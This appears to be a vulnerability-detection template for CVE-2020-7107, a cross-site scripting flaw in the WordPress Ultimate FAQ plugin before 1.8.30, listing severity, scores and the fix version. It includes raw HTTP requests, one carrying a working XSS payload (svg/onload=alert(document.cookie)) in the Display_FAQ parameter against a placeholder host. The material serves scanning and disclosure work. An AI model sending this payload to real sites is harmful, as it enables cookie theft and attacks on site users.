| Title | WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions. |
| Remediation | Fixed in version 1.8.30. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05245 |
| CVE ID | CVE-2020-7107 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 ultimate-faqs wpscan xss wordpress wp-plugin wp etoilewebdesign vuln |
WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
GET /?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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